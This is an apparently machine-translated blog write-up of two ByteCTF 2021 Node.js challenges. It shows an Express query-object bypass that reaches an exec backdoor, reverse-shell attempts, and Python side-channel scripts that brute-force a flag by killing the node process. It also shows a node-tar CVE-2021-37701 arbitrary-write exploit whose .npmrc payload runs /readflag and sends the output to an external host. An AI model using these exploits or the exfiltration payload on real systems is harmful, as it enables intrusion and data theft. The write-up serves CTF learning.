Note the Node problem in ByteCTF

Posted by chaiwei on Tue, 14 Dec 2021 12:53:39 +0100

Note the Node problem in ByteCTF

I always feel that bytes can't get along with Node. Both the preliminary and final competitions have a whole Node topic. Of course, PHP and Java are essential, but I think Node types are rare, so I feel very fresh.

Nothing

The final Node questions are as follows:

Can you get flag in a fully enclosed nodejs environment?

http://39.106.69.116:30001
http://39.106.34.228:30001

Direct access http://39.106.34.228:30001/ Here is a backdoor,can you shell it and get the flag?, visit http://39.106.34.228:30001/source You can get the relevant source code.

const express = require('express')
const fs = require('fs')
const exec = require('child_process').exec;
const src = fs.readFileSync("app.js")
const app = express()

app.get('/', (req, res) => {
    if (!('ByteCTF' in req.query)) {
        res.end("Here is a backdoor,can you shell it and get the flag?")
        return
    }

    if (req.query.ByteCTF.length > 3000) {
        const byteCTF = JSON.stringify(req.query.ByteCTF)
        if (byteCTF.length > 1024) {
            res.end("too long.")
            return
        }

        try {
            const q = "{" + req.query.ByteCTF + "}"
            res.end("Got it!")
        } catch {
            if (req.query.backdoor) {
                exec(req.query.backdoor)
                res.send("exec complete,but nothing here")
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("too short.")
        return
    }
})

app.get('/source', (req, res) => {
    res.end(src)
});

app.listen(3000, () => {
  console.log(`listening at port 3000`)
}) 

You can see that there is an exec that can execute commands, and then the classic bypass link. First, look at the first one that requires its length to be greater than 3000 and JSON After stringify, it should be less than 1024, which makes it difficult for me. Then my cousin said that this thing can be directly transferred to the object with the length attribute value greater than 3000. Good guy, I didn't know that express can be directly transferred to the object, so I'll run locally and save the code as app first JS, and then run the command from the local directory.

$ npm install express
$ node app.js

Then you can print req query. Bytectf try it, and then we visit http://localhost:3000/?ByteCTF [a] = 1 & bytectf [b] = 2, you can get the output of an object.

// http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2
// too short.
{ a: '1', b: '2' }

Since it can be converted into an object, you can directly write an object with length attribute and let it check that the length is greater than 3000.

// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1
// Got it!
{ a: '1' }

You can see that the output is Got it!, That is, it can be successfully executed to res.end("Got it!") In this line, you only need to make the object throw an exception when splicing strings. In js, the toString method is also called to convert the object into a string. Since the object is passed, you can completely overwrite this method and directly pass a value, because the function is not passed, During splicing, you will try to call this toString function, so an exception will be thrown.

// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1
// The exception thrown is TypeError: Cannot convert object to primitive value
// Nothing here!

You can see that the output is Nothing here!, Then we just need to pass a param parameter of backdoor to execute the command.

// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1&backdoor=echo%201
// exec complete,but nothing here

Things seem to be going well here. Of course, it just seems that at first I didn't understand the meaning of fully enclosed in the title. Then I tried nc -e /bin/bash {host} {port} to rebound the shell. I didn't respond for a long time. I think the distribution may not have the - e parameter, so I tried bash - I > & / dev / TCP / {host} / {port} 0 > & 1, and didn't pop up, Then I looked at the nc -lvvp {port} of my machine. It seemed that there was no problem. Then I tried dnslog. Then I tried curl and ping. I couldn't get records. Then I understood what this fully enclosed means. Good guy, the target doesn't get out of the net. I can play with snakes. Now I can RCE, but I can't get anything. It's really uncomfortable. Then I think that since he has to use the node service, can he kill the node process and use this port to communicate, or check whether there are any available ports. Then my teammates and cousins played a new trick. The good guy showed me a fool's eye.

Let's talk about something else. I saw a code before. I don't remember the specific details. It's probably like this. I found the link to the original text. In the reference bar, I basically moved it here.

boolean safeEqual(String a, String b) {
   if (a == null || b == null) {
       return a == b;
   }
   if (a.length() != b.length()) {
       return false;
   }
   int equal = 0;
   for (int i = 0; i < a.length(); i++) {
       equal |= a.charAt(i) ^ b.charAt(i);
   }
   return equal == 0;
}

The function of this function is to compare whether two strings are equal. First, the length is unequal, and the result must be unequal. It is easy to understand that it is returned immediately. Take a look at the following, use your brain a little, and you can understand the way: compare each bit through XOR operation 1 ^ 1 = 0, 1 ^ 0 = 1, 0 ^ 0 = 0. If each bit is equal, the two strings must be equal. Finally, the variable equal that stores the cumulative XOR value must be set to 0, otherwise it must be 1. however From the perspective of efficiency, shouldn't it be possible to immediately return two strings that are not equal as long as the result of a bit is found to be different (i.e. 1) in the middle, similar to the following.

for (int i = 0; i < a.length(); i++) {
    if (a.charAt(i) ^ b.charAt(i) != 0) // or a.charAt(i) != b.charAt(i)
        return false;
}

In the past, we know how to improve efficiency by delaying calculation, but this is the first time that the calculated result is delayed. Combined with the method name safeEquals, we may know something about security. In fact, there are similar methods in JDK, such as Java security. Messagedigest, look at the comments. The purpose is to compare with constant time complexity.

public static boolean isEqual(byte[] digesta, byte[] digestb) {
   if (digesta == digestb) return true;
   if (digesta == null || digestb == null) {
       return false;
   }
   if (digesta.length != digestb.length) {
       return false;
   }

   int result = 0;
   // time-constant comparison
   for (int i = 0; i < digesta.length; i++) {
       result |= digesta[i] ^ digestb[i];
   }
   return result == 0;
}

In fact, this is done to prevent timing attack. Timing attack is a kind of Side Channel Attack (or Side Channel Attack, SCA for short). Side Channel Attack is an attack way to go astray against software or hardware design defects.

Then my cousin played a fancy side channel scheme. Hahaha, first of all, since I can't get out of the network, I need to know the status of a server. The server status selected by my cousin is whether the node process is still alive. The overall idea is to first read the file in the root directory, and the flag is probably in the file, Execute ls / to obtain an output string, and then we pass in a piece of code. If this character is the same as the character we pass in, we will kill the node process, and then we will not be able to access the service. Then we can conclude that this character is correct, and the incoming characters can only be traversed one by one. First of all, we need to traverse the file storing the flag and directly write the code, which is actually a blasting scheme. Some situations will occur in the process of trying. Because the node of the target machine restarts too quickly, it restarts as soon as it is killed, so it needs a lot of manual factors to check. Sometimes we pause for several times, and the probability is the character, Watching it several times can eliminate the factors of network fluctuation.

# blast_file_name.py file name

import requests
from urllib import parse
import base64
from time import sleep
import string

# url = "http://39.106.69.116:30001/"
url = "http://39.106.34.228:30001/"

template = '''
    const exec = require("child_process").exec;
    const fs = require("fs");
    const cmd = "ls /";

    exec(cmd, function(error, stdout, stderr) {{ 
        if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{
            exec("pkill node");
        }}
    }});
'''


def remote_exec(command):
    params = "echo {} | base64 -d > /tmp/ddd.js;node /tmp/ddd.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode())
    # print(params)
    requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params))

if __name__ == "__main__":
    # For example, the fourth character is searched out 
    # Then the third probability is correct 
    # It takes a lot of manual judgment
    result = ""
    result = "T"
    result = "Th1s_1s"
    for i in range(len(result), 10000000):
        find = False
        for char in string.ascii_letters + "_- " + string.digits:
            print(i, len(result), char, result + char)
            t = template.format(len(result), char, result)
            # print(t)

            try:
                remote_exec(t)
            except:
                continue

            try:
                requests.get(url, timeout=5)
                requests.get(url, timeout=5)
                requests.get(url, timeout=5)
            except:
                find = True
                result += char
                print(result)
                sleep(5)
                break

        if not find:
            result += ""

The first file name happens to be the storage location of the flag. I think the way should be similar. In addition, after a few bits of the file name are exploded, you can use cat xxx * to represent it. Here, th1s is exploded_ 1s, then the burst flag can use cat Th1s_1s * open the file and continue to traverse the blasting. Finally, the flag is bytectf {50579195da002fa989432cbc1a83e38f5d37665122d9a7d4d767f99a61fa58f22}. It's really long enough. Blasting also takes a long time and takes a lot of effort.

# blasting_flag.py burst ` flag`

import requests
from urllib import parse
import base64
from time import sleep
import string

# url = "http://39.106.69.116:30001/"
url = "http://39.106.34.228:30001/"

template = '''
    const exec = require("child_process").exec;
    const fs = require("fs");
    const cmd = "cat /Th1s_1s*";

    exec(cmd, function(error, stdout, stderr) {{ 
        if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{
            exec("pkill node");
        }}
    }});
'''


def remote_exec(command):
    params = "echo {} | base64 -d > /tmp/hhh.js;node /tmp/hhh.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode())
    # print(params)
    requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params))

if __name__ == "__main__":
    # For example, if the fourth character is searched, the probability of the third digit is correct 
    # It requires a lot of artificial factors. Sometimes I pause for a few more times and pause there. It's probably because the node restarts too fast. Looking more times can eliminate the network fluctuation factors
    result = ""
    result = "by"
    result = "bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22"
    for i in range(len(result), 10000000):
        find = False
        # for char in string.ascii_letters:
        for char in string.ascii_letters + "{_- }" + string.digits:
            print(i, len(result), char, result + char)
            t = template.format(len(result), char, result)
            # print(t)

            try:
                remote_exec(t)
            except:
                continue

            try:
                requests.get(url, timeout=1)
                requests.get(url, timeout=1)
                requests.get(url, timeout=1)
            except:
                find = True
                result += char
                print(result)
                sleep(5)
                break

        if not find:
            result += ""

# bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22}

easy_extract

This is the Node question type of the preliminary competition. I didn't come up with it at that time. I saw the Node question above after the final, so I also recorded it. At that time, I made a file write, and then there were not many places with write permission. I didn't expect to use write npmrc file and restart it. The following content comes from the official Writeup for record only. The details are linked in the reference.

This topic uses the node tar package symbolic link check bypass vulnerability exposed in August. This vulnerability itself can find POC on the Internet and can write arbitrary files. At the same time, this topic shows the function of file list. Combined with symbolic links, it can be used to list directories and assist in judging the topic environment. However, for the sake of difficulty, it is still in / robots Txt, you can get some information about how to start the topic. At the same time, this topic also examines some ideas to further cause RCE by writing arbitrary files without writing permission to the web application directory. Cve-2021-37701 node tar arbitrary file write / overwrite vulnerability (translated from the original report) node tar has security measures to ensure that files to be modified by symbolic links at any location will not be extracted. This is achieved by ensuring that the extracted directory is not a symbolic link. In addition, in order to prevent unnecessary stat calls to determine whether a given path is a directory, The path is cached when the directory is created, but 6.1 7 when extracting a tar file containing a directory and a symbolic link with the same name as the directory, this check logic is not sufficient. The symbolic link and directory name in the archive entry use the backslash as the path separator on the posix system, and the cache check logic uses the and / character as the path separator at the same time. However, It is a valid file name character on posix system. By first creating a directory and then replacing the directory with a symbolic link, you can bypass the symbolic link check of the directory, basically allow untrusted tar files to be symbolic linked to any location, and then extract any files to that location, so as to allow any files to be created and overwritten. In addition, Similar confusion may occur in case insensitive file systems. If a malicious tar contains a directory located in foo followed by a symbolic link named foo, the creation of a symbolic link on a case insensitive file system will delete the directory from the file system, but will not delete the cache from the internal directory, because it will not be regarded as a cache hit, Subsequent file entries in the foo directory will be placed in the target of the symbolic link. It is considered that the directory has been created. For the construction of POC, there are also relevant articles to refer to: 5 rces in NPM for $15,000. Therefore, we simply try, but when uploading, we will find that the file size is limited. Generally speaking, the files packaged by tar will be larger than 1KB, so we can package one tar.gz and change the extension back to Tar, in fact, node tar does not judge whether the file is compressed according to the extension, so Tar suffix tar.gz files can be decompressed normally. It can be found that a symbolic link other than / app/data is created, which can list the path information of the whole disk:

#!/bin/sh

rm n\\x

ln -s / n\\x # Create a link to the destination dir
tar cf poc.tar n\\x # Pack the link into the tar

echo "test" > n\\x/app/data/test
tar rf poc.tar n\\x n\\x/app/data/test

gzip -9 < poc.tar > poc.tar.gz
rm poc.tar
mv poc.tar.gz poc.tar

After this step, you can list any directory and write any file. There is / readflag in the root directory, indicating that the command needs to be executed.

It can be seen from the Dockerfile that our user is node. Basically, there are few places with write permission, and the app directory has no permission to write except / app/data. Observing the startup parameters, nodemon --exec npm start is a little strange. After checking the data, we found that nodemon is a development tool that will automatically restart node when a file is created or changed in the / APP directory, so we thought, We can also write the configuration file in the user folder so that the configuration file can be loaded when the node is restarted. At this time, we notice that the service starts with npm start, so we can write ~ / Node of npmrc_ The options parameter causes RCE.

echo "node-options='--require /home/node/evil.js'" > /home/node/.npmrc

After that, write a js file under / app/data can trigger nodemon to restart node, resulting in evil js is executed. Nodemon is mainly used to facilitate the competition. In fact, if it is in a real environment, probably no one will use nodemon to start the service of the production environment. However, we can still write the file first and wait until the service is restarted. The command is executed in the Docker container with the restart policy configured, You can also forcibly restart by hanging up the service.

#!/bin/sh

# Generate Tar
mkdir /home/node
ln -s /home/node/ n\\x
tar cf exp.tar n\\x
echo "node-options='--require /home/node/evil.js'" > n\\x/.npmrc
echo "const execSync = require('child_process').execSync;const http = require('http');const output = execSync('/readflag', { encoding: 'utf-8' });http.get('http://ent9hso2vt0z.x.pipedream.net/?'+output);" > n\\x/evil.js
echo "dummy" > test.js
tar rf exp.tar n\\x n\\x/.npmrc n\\x/evil.js test.js

# Compress
gzip -9 < exp.tar > exp.tar.gz
mv exp.tar.gz exp.tar

# Clean Up
rm n\\x/.npmrc n\\x/evil.js test.js n\\x
rm -r /home/node

reference resources

https://www.zhihu.com/question/275611095/answer/1962679419
https://bytectf.feishu.cn/docs/doccnq7Z5hqRBMvrmpRQMAGEK4e#lLBgbe